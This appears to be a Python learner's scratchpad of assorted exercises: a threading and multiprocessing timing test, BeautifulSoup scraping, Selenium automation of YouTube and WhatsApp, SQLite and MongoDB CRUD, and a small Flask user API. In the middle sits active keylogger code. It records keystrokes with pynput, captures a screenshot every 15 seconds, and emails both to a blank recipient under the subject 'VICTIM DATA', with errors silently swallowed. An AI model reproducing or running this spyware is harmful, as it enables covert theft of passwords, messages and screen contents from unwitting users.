    # t1 = threading.Thread(target=dummy_func, args=(1,))
    # t2 = threading.Thread(target=dummy_func, args=(2,))
    # t3 = threading.Thread(target=dummy_func, args=(3,))
    # t4 = threading.Thread(target=dummy_func, args=(4,))

    # start_time = datetime.now()
    # t1.start()
    # t2.start()
    # t3.start()
    # t4.start()
    # t1.join()
    # t2.join()
    # t3.join()
    # t4.join()
    # print(f"Total time taken: {datetime.now() - start_time}")

    p1 = multiprocessing.Process(target=dummy_func, args=(1,))
    p2 = multiprocessing.Process(target=dummy_func, args=(2,))
    p3 = multiprocessing.Process(target=dummy_func, args=(3,))
    p4 = multiprocessing.Process(target=dummy_func, args=(4,))

    start_time = datetime.now()
    p1.start()
    p2.start()
    p3.start()
    p4.start()
    p1.join()
    p2.join()
    p3.join()
    p4.join()
    print(f"Total time taken: {datetime.now() - start_time}")


# query = 99
# a = [1,2,3,4,5,6,7]

from pynput.keyboard import Key, Listener
import pyautogui
import yagmail
from time import sleep
from datetime import datetime

count = 0
keys = []


try:
    def on_press(key):
        global count, keys
        keys.append(key)
        count += 1
        if count >= 10:
            write_file(keys)
            keys = []

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(' ')
                elif k.find("caps_lock") > 0:
                    f.write("<CAPS_LOCK>")
                elif k.find("enter") > 0:
                    f.write("\n")
                elif k.find("Key") == -1:
                    f.write(k)

    def on_release(key):
        if key == Key.esc:
            return False

    def take_screenshot():
        screen = pyautogui.screenshot()
        screen.save("screenshot.png")

    def send_email():
        receiver_email = ""
        subject = f"VICTIM DATA - {datetime.now().strftime('%d-%m-%Y %H:%M:%S')}"
        yag = yagmail.SMTP("", "")
        contents = ["<b><font color='red'>YOUR VICTIM DATA</font></b>"]
        attachments = ['log.txt', 'screenshot.png']
        yag.send(receiver_email, subject, contents, attachments)
        print("Email sent")

    with Listener(on_press=on_press, on_release=on_release) as listener:
        while True:
            sleep(15)
            take_screenshot()
            send_email()
        listener.join()
except:
    pass

# # data = """
# # <html>
# # 	<head>
# # 		<title>My Web Page</title>
# # 	</head>
# # 	<body>
# # 		<header>
# # 			<img src="./assets/hello.png" alt="Some image" />
# # 			<h1>My hello world</h1>
# # 			<h1 id="title">My Web Application</h1>
# # 		</header>
# #         <a href="https://google.com">Go to Google.com</a>
# # 		<p class="para">
# # 			Lorem ipsum dolor sit amet, consectetur adipisicing elit. Illum
# # 			reprehenderit incidunt, ratione quas minus ex fugit corrupti deserunt
# # 			totam veniam soluta, quasi at maxime expedita culpa libero repellat
# # 			explicabo debitis.
# # 		</p>
# # 		<p class="para">
# # 			Lorem ipsum dolor sit amet consectetur adipisicing elit. At, perspiciatis.
# # 		</p>
# # 		<ul>
# # 			<li>
# # 				Lorem ipsum dolor sit amet consectetur, adipisicing elit. Quaerat,
# # 				molestiae?
# # 			</li>
# # 			<li>
# # 				Lorem ipsum dolor sit amet consectetur, adipisicing elit. Quaerat,
# # 				molestiae?
# # 			</li>
# # 			<li>
# # 				Lorem ipsum dolor sit amet consectetur, adipisicing elit. Quaerat,
# # 				molestiae?
# # 			</li>
# # 		</ul>
# # 	</body>
# # </html>
# # """

# # from bs4 import BeautifulSoup

# # soup = BeautifulSoup(data, "html.parser")

# # # print(type(soup))
# # # print(soup.body.header.h1)

# # # print(soup.find('li'))
# # # print(soup.find_all('li'))

# # # print(soup.find('h1'))
# # # print(soup.find(id="title"))
# # # print(soup.find_all(class_="para"))
# # # print(soup.find(class_="para").get_text())


# # # print(soup.find('h1').get_text())

# # # print(soup.find('a').get_text())
# # print(soup.find('a')["href"])

# import requests
# from bs4 import BeautifulSoup
# from csv import writer

# response = requests.get('https://arstechnica.com/')
# soup = BeautifulSoup(response.text, "html.parser")

# articles = soup.find_all(class_="article")

# with open("articles.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(['Title', 'Excerpt', 'Author', 'Date', 'Link'])

#     for article in articles:
#         title = article.find('h2').get_text()
#         excerpt = article.find(class_="excerpt").get_text()
#         author = article.find('span').get_text()
#         date = article.find('time').get_text()
#         link = article.find('a')['href']

#         csv_writer.writerow([title, excerpt, author, date, link])

# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# from selenium.webdriver.common.by import By
# from time import sleep

# browser = webdriver.Chrome()
# browser.maximize_window()

# browser.get('https://www.youtube.com/')
# sleep(3)

# search_box = browser.find_element(By.XPATH, '/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input')
# search_box.click()
# search_box.send_keys("exorcist believer trailer", Keys.ENTER)
# sleep(3)

# # video = browser.find_element(By.XPATH, '/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string')
# # video.click()

# video = browser.find_element(By.PARTIAL_LINK_TEXT, 'A Look Inside')
# video.click()

# sleep(20)


from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from time import sleep

browser = webdriver.Chrome()
browser.maximize_window()

browser.get('https://web.whatsapp.com/')
sleep(20)

search_box = browser.find_element(By.XPATH, '/html/body/div[1]/div/div/div[4]/div/div[1]/div/div/div[2]/div/div[1]/p')
search_box.click()
sleep(1)

search_box.send_keys('PYTHON Daily morn RS 4/8/23', Keys.ENTER)
sleep(2)

for num in range(10):
    message_box = browser.find_element(By.XPATH, '/html/body/div[1]/div/div/div[5]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div[2]/div[1]/p')
    message_box.click()
    message_box.send_keys('TEST MESSAGE USING PYTHON', Keys.ENTER)


sleep(200)
browser.close()

Scratchpad #26

# import sqlite3

# conn = sqlite3.connect('python_users.db')
# cursor = conn.cursor()

# # cursor.execute("""
# #     CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, email TEXT, age INTEGER)
# # """)

# # new_user = ('John Smith', 'johnsmith@gmail.com', 24)

# # cursor.execute("INSERT INTO users (name, email, age) VALUES (?,?,?)", new_user)

# # cursor.execute('SELECT * FROM users')
# # all_users = cursor.fetchall()

# # print(all_users)

# # cursor.execute('SELECT * FROM users WHERE name = ?', ('Jane Doe',))

# # john_doe = cursor.fetchone()
# # print(john_doe)

# cursor.execute('DELETE FROM users WHERE name = ?', ('Jane Doe',))

# conn.commit()
# conn.close()

import pymongo

client = pymongo.MongoClient()
db = client["python_users"]
users = db["users"]

# user = {
#     "name": "John Doe",
#     "email": "johndoe@example.com",
#     "age": 20
# }

# users_data = [
#     {
#     "name": "Jane Doe",
#     "email": "janedoe@example.com",
#     "age": 23
#     },
#     {
#     "name": "Jack Smith",
#     "email": "jacksmith@example.com",
#     "age": 30
#     },
# ]

# users.insert_one(users)
# users.insert_many(users_data)

# all_users = users.find()

# # print(all_users)

# for user in all_users:
#     print(user)

# users.update_one({"name": "John Doe"}, {"$set": {"email": "john.doe@hey.com"}})

# users.delete_one({"name": "John Doe"})

# users.delete_many({})


Flask App (main.py)

from flask import Flask, request, jsonify
from pymongo import MongoClient
from bson import ObjectId

app = Flask(__name__)
client = MongoClient()
db = client["python_users"]
collection = db["users"]

@app.route('/', methods=['GET'])
def home():
    return "<h1>API is running...</h1>"

# Create a new user document
@app.route("/users", methods=["POST"])
def create_user():
    data = request.json
    result = collection.insert_one(data)
    return {"id": str(result.inserted_id)}, 201

# Fetch all user documents
@app.route("/users", methods=["GET"])
def get_all_users():
    data = list(collection.find())
    for user in data:
        user["_id"] = str(user["_id"])
    return jsonify(data)

# Fetch a single user document by ID
@app.route('/users/<id>', methods=["GET"])
def get_user(id):
    data = collection.find_one({"_id": ObjectId(id)})
    if data is None:
        return {"message": "User not found"}, 404
    data["_id"] = str(data["_id"])
    return jsonify(data)

if __name__ == "__main__":
    app.run(debug=True)